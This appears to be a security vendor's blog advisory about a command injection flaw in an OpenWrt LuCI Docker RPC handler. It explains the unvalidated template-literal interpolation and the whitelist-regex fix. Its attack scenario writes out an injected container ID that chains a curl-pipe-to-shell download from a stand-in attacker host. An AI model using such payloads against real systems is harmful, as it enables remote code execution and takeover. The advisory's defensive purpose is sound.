Back to Blog
critical SEVERITY4 min read

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.

O
By Orbis AppSec
Published September 21, 2026Reviewed September 21, 2026

Answer Summary

The Docker RPC handler (`run_ttyd` function) in the OpenWrt LuCI Docker management interface accepts four user-controlled parameters (container ID, port, user ID, and command) that are directly interpolated into shell command strings using template literals without any validation. An authenticated attacker can inject shell metacharacters and command sequences through any of these parameters to execute arbitrary commands with the privileges of the RPC daemon. The fix adds strict whitelist validation for each parameter—alphanumerics and limited safe characters for IDs, numeric range checks for port numbers—before shell interpolation. CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Vulnerability at a Glance

cweCWE-78
fixWhitelist-based regex validation of all parameters before shell interpolation
riskAuthenticated RPC caller executes arbitrary OS commands as daemon user
languageUcode
root causeUser-supplied RPC parameters interpolated into shell commands without validation
vulnerabilityCommand Injection via Unsanitized Template Literals

The Vulnerability Explained

The Docker RPC handler in OpenWrt's LuCI Docker management interface provides a run_ttyd function that spawns a terminal session inside a container. This function accepts four user-supplied parameters via RPC:

  • id (container identifier)
  • port (ttyd listening port)
  • uid (optional user ID to run as)
  • cmd (command to execute inside the container)

The original code constructed a shell command using template literal interpolation:

let ttyd_cmd = `ttyd -q -d 2 --once --writable -p ${port} docker`;

Each parameter was directly embedded into the string without any validation or sanitization. An authenticated attacker could inject arbitrary shell metacharacters and command sequences through any parameter.

Attack scenario: An attacker with RPC access sends a malicious request:

id: "container123; curl http://attacker.com/shell.sh | sh #"
port: "8080"
cmd: "/bin/sh"

The resulting command becomes:

ttyd -q -d 2 --once --writable -p 8080 docker container123; curl http://attacker.com/shell.sh | sh #

The shell interprets the injected semicolon as a command separator, executing the attacker's curl payload on the host system with the daemon's privileges. Attackers could exfiltrate data, modify container configurations, or pivot to other systems on the network.

Affected Versions

Affected unknown
Fixed in unknown
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

The Fix

The fix adds strict whitelist-based validation for all four parameters before they are interpolated into shell commands:

// Strictly validate all user-supplied values before they are interpolated
// into a shell command string to prevent command injection.
if (!match(id, /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/) ||
    !match(`${port}`, /^[0-9]{1,5}$/) || int(port) < 1 || int(port) > 65535 ||
    (uid && !match(`${uid}`, /^[a-zA-Z0-9_-]+$/)) ||
    !match(cmd, /^[a-zA-Z0-9_\/.\- ]+$/)) {
    return { error: 'Invalid parameter supplied' };
}

Why each validation matters:

  • id pattern (/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/): Restricts container IDs to alphanumerics, underscores, dots, and hyphens. Rejects shell metacharacters like ;, |, &, backticks, $(), and quotes.

  • port pattern (/^[0-9]{1,5}$/): Ensures the port is numeric with 1–5 digits, preventing injection through the port parameter. The additional range check (int(port) < 1 || int(port) > 65535) confirms the value is a valid TCP port.

  • uid pattern (/^[a-zA-Z0-9_-]+$/): If provided, validates the user ID against safe characters. Blocks injection attempts in the optional UID parameter.

  • cmd pattern (/^[a-zA-Z0-9_\/.\- ]+$/): Allows the command string to contain alphanumerics, forward slashes (for binary paths like /bin/sh), dots (for file extensions), hyphens (for command-line flags), spaces (for separating arguments), and underscores. All dangerous shell metacharacters are rejected.

If any parameter fails validation, the function returns an error instead of proceeding to shell interpolation. This prevents the malicious payload from ever reaching the shell.

How Orbis AppSec Detected This

Source: The four RPC request parameters (id, port, uid, cmd) received by the run_ttyd function from untrusted authenticated callers.

Sink: The system() call that executes the constructed shell command string.

Missing control: No validation, regex filtering, or sanitization of the four parameters before they were interpolated into the shell command string using template literals.

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Fix: Added whitelist-based regex validation for all four parameters, rejecting any input containing characters outside a safe set before shell interpolation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Key Takeaways

  • Never interpolate user-supplied input into shell command strings via template literals or string concatenation. This applies even to authenticated users. Always validate against a strict whitelist of safe characters before shell interpolation.

  • Whitelist validation must come before shell use. The regex patterns here reject all shell metacharacters—;, |, &, backticks, $(), >, <, and quotes—in a single check. This is far safer than blacklisting dangerous characters.

  • RPC handlers are OS command entry points. Any RPC function that constructs and executes system commands should be treated as a high-risk boundary. Treat all RPC parameters as untrusted, regardless of authentication status.

  • Port and numeric parameters need range checks. The fix validates both the format (/^[0-9]{1,5}$/) and the numeric range (1–65535) for the port parameter. A numeric regex alone is insufficient; ensure the value falls within the expected domain.

  • Optional parameters still require validation. The uid parameter is optional (guarded by uid &&), but when present, it is validated just as strictly. Omitting validation for optional fields is a common gap.

Conclusion

This vulnerability demonstrates how seemingly simple RPC functions that construct shell commands can become high-impact entry points if user input is not rigorously validated. Template literals in Ucode (and similar string interpolation in other languages) make the vulnerability easy to introduce but equally easy to fix with upfront whitelist validation. The key insight from this fix is that all parameters that touch shell commands must be validated against a whitelist of safe characters before use, regardless of their source or the authentication status of the caller. Developers building RPC or request handlers that call system commands should adopt the same pattern: validate early, validate strictly, and reject any input that does not match your whitelist.

Prevention and further reading

Frequently Asked Questions

What makes the `run_ttyd` function exploitable even though it requires authentication?

Authenticated users (e.g., administrators with RPC access, or compromised admin accounts) can craft malicious RPC calls. The vulnerability also applies if an attacker gains RPC access through credential compromise, CSRF, or a compromised LuCI session. The fix applies regardless of the attacker's authentication status.

Why does the fix reject the `cmd` parameter with `/^[a-zA-Z0-9_\/.\- ]+$/` instead of allowing all characters?

The whitelist permits only safe characters: alphanumerics, forward slashes (for binary paths), dots (for file extensions), hyphens (for command flags), spaces (for argument separation), and underscores. This prevents shell metacharacters like `;`, `|`, `&`, `` ` ``, `$()`, `>`, `<`, and quotes that enable command chaining and injection.

Does the fix require changes to how the `ttyd_cmd` string is constructed, or is validation alone sufficient?

Validation alone is sufficient; the fix does not change how the command string is built. Once all parameters pass the whitelist checks, they are safe to interpolate into the template literal because they cannot contain shell metacharacters or escape sequences.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #8

Related Articles

critical

{sample} Placeholder in shlex.split() Lets Filenames Inject Args

A protocol replay-check CLI built its subprocess argument list by calling `str.format()` on a user-supplied `--command` template and then handing the result to `shlex.split()`, so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in `sh -c`. The fix wraps the interpolated path in `shlex.quote()` before formatting, so the path always survives `shlex.split()` as a single toke

high

package_abridge.js Command Injection via Unsanitized CLI Arguments

A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.

critical

shell-quote 1.8.3: Line Terminator Command Injection (CVE-2026-9277)

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions before 1.9.0, where unescaped line terminators allow attackers to break out of quoted strings and execute arbitrary shell commands. The fix upgrades the dependency across multiple React Native CLI packages and related libraries through npm overrides.

critical

Voice Assistant Command Injection via os.system() f-String

A critical command injection vulnerability in a voice assistant's audio playback handler allowed attackers to execute arbitrary shell commands by manipulating file paths passed to os.system(). The fix replaces shell invocation with subprocess calls and direct OS APIs, eliminating shell metacharacter interpretation entirely.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

critical

JWT Authentication Disabled Signature Validation in

A critical misconfiguration in JWT authentication explicitly disabled signature validation, allowing attackers to forge valid tokens with arbitrary claims and bypass authentication entirely. The fix re-enables signature validation on all incoming bearer tokens, restoring the security boundary of the authentication layer.